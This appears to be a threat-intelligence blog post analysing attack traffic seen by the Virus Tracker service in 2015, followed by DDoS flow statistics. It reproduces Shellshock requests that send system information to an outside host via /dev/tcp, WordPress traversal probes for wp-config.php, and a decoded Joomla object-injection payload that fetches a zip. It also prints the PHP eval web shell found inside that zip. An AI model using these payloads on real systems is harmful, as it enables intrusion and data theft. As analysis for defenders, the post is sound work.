2015-03-05 21:24:08	74.208.199.94	1&1 Internet	United States	/cgi-sys/php4	() { :;}; /bin/bash -c echo INFO-WEEK.COM/cgi-sys/php4  > /dev/tcp/67.228.177.7/23; /bin/uname -a > /dev/tcp/67.228.177.7/23; echo INFO-WEEK.COM/cgi-sys/php4 > /dev/udp/67.228.177.7/80
2015-03-06 02:13:12	74.208.199.94	1&1 Internet	United States	/cgi-sys/php4	() { :;}; /bin/bash -c echo JASMINJORDEN.COM/cgi-sys/php4  > /dev/tcp/67.228.177.7/23; /bin/uname -a > /dev/tcp/67.228.177.7/23; echo JASMINJORDEN.COM/cgi-sys/php4 > /dev/udp/67.228.177.7/80

Robots scanning for vulnerable admin panels

Of course we see also plenty and plenty of attempts to find and hack admin panels like:

2015-03-05 23:43:23	78.151.25.8	TalkTalk	United Kingdom	/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php
2015-03-05 23:43:25	185.11.227.211	Wave-Max S.r.l.	Italy	/wp-content/themes/infocus/lib/scripts/dl-skin.php
2015-03-05 23:43:36	135.196.125.106	MDNX Enterprise Services Limited	United Kingdom	/wp-admin/admin-ajax.php?action=getfile&/../../wp-config.php
2015-03-05 23:43:40	134.255.167.15	Wave-Max S.r.l.	Italy	/wp-content/themes/dejavu/lib/scripts/dl-skin.php
2015-03-06 00:25:36	194.6.233.15	SpecAvtomatika LTD	Ukraine	/administrator/index.php

It might be interesting and possible to take the Virus Tracker dataset and find publicly unknown vulnerabilities that are exploited actively by criminals.

A specifically interesting one which contains additional code encoded is this:

/administrator/components/com_joomlaupdate/restore.php?task=stepRestore&factory=Tzo5OiJBS0ZhY3RvcnkiOjE6e3M6MTg6IgBBS0ZhY3RvcnkAdmFybGlzdCI7YToyOntzOjI3OiJraWNrc3RhcnQuc2VjdXJpdHkucGFzc3dvcmQiO3M6MDoiIjtzOjI2OiJraWNrc3RhcnQuc2V0dXAuc291cmNlZmlsZSI7czo0MDoiaHR0cDovL2RhbGUxdnVlbHRhLmNvbS9tZWRpYS93dDUxMjFuLnppcCI7fX0=

The decoded text (from base64) is:
O:9:"AKFactory":1:{s:18:"AKFactoryvarlist";a:2:{s:27:"kickstart.security.password";s:0:"";s:26:"kickstart.setup.sourcefile";s:40:"http://dale1vuelta.com/media/wt5121n.zip";}}

The zip file is still up and contains a PHP file containing only this line:
< ? php eval(stripslashes(@$_POST[(chr(112).chr(49))])); ? >

Virus Tracker under 10 Gbps Ddos Attack

Virus Tracker is right now under a 10 Gbit ddos attack (UDP and TCP). Last November we have been already under 1 Gbit ddos. Again, evidence suggests that it is being orchestrated from the Sality botnet. As you can seen in the below graph, this time the criminals exhausted the maximum connection speed of the server connection.

1

Top 10 flows by packets per pecond for dst IP: 69.195.129.70
  Duration Proto      Src IP Addr Src Pt Dst Pt  Packets      pps      bps
     0.006 UDP      61.93.224.130  56576  64265     2048   341333    4.1 G
     0.006 UDP      111.17.216.35  59563  36767     2048   341333    4.1 G
     0.006 UDP      89.27.129.254    123     80     2048   341333    1.3 G
     0.019 UDP      61.93.224.130  64356  49110     2048   107789    1.3 G
     0.055 TCP        [redacted]   49532     80     2048    37236   29.5 M
   284.252 UDP      202.32.138.21    123     80    1.3 M     4657   18.0 M
   284.131 UDP      182.19.66.178    123     80   950272     3344   12.9 M
   286.991 UDP      213.56.30.120    123     80   826368     2879   11.1 M
   287.132 UDP     206.196.172.14    123     80   822272     2863   11.0 M
   286.758 UDP     199.192.104.10    123     80   806912     2813   10.9 M
 
Top 10 flows by flows per second for dst IP: 69.195.129.70
  Duration Proto      Src IP Addr Src Pt Dst Pt  Packets      pps      bps
   284.252 UDP      202.32.138.21    123     80    1.3 M     4657   18.0 M
   284.131 UDP      182.19.66.178    123     80   950272     3344   12.9 M
   286.991 UDP      213.56.30.120    123     80   826368     2879   11.1 M
   287.132 UDP     206.196.172.14    123     80   822272     2863   11.0 M
   286.758 UDP     199.192.104.10    123     80   806912     2813   10.9 M
   284.921 UDP      61.89.225.118    123     80   783360     2749   10.6 M
   285.850 UDP       129.2.124.15    123     80   774144     2708   10.4 M
   286.181 UDP     194.133.122.38    123     80   766976     2680   10.3 M
   286.947 UDP     173.247.207.30    123     80   728064     2537    9.8 M
   286.787 UDP     162.216.199.18    123     80   723968     2524    9.7 M
 
Top 10 flows by bits per second for dst IP: 69.195.129.70
  Duration Proto      Src IP Addr Src Pt Dst Pt  Packets      pps      bps
     0.006 UDP      61.93.224.130  56576  64265     2048   341333    4.1 G
     0.006 UDP      111.17.216.35  59563  36767     2048   341333    4.1 G
     0.006 UDP      89.27.129.254    123     80     2048   341333    1.3 G
     0.019 UDP      61.93.224.130  64356  49110     2048   107789    1.3 G
     0.055 TCP        [redacted]   49532     80     2048    37236   29.5 M
   284.252 UDP      202.32.138.21    123     80    1.3 M     4657   18.0 M
   284.131 UDP      182.19.66.178    123     80   950272     3344   12.9 M
   286.991 UDP      213.56.30.120    123     80   826368     2879   11.1 M
   287.132 UDP     206.196.172.14    123     80   822272     2863   11.0 M
   286.758 UDP     199.192.104.10    123     80   806912     2813   10.9 M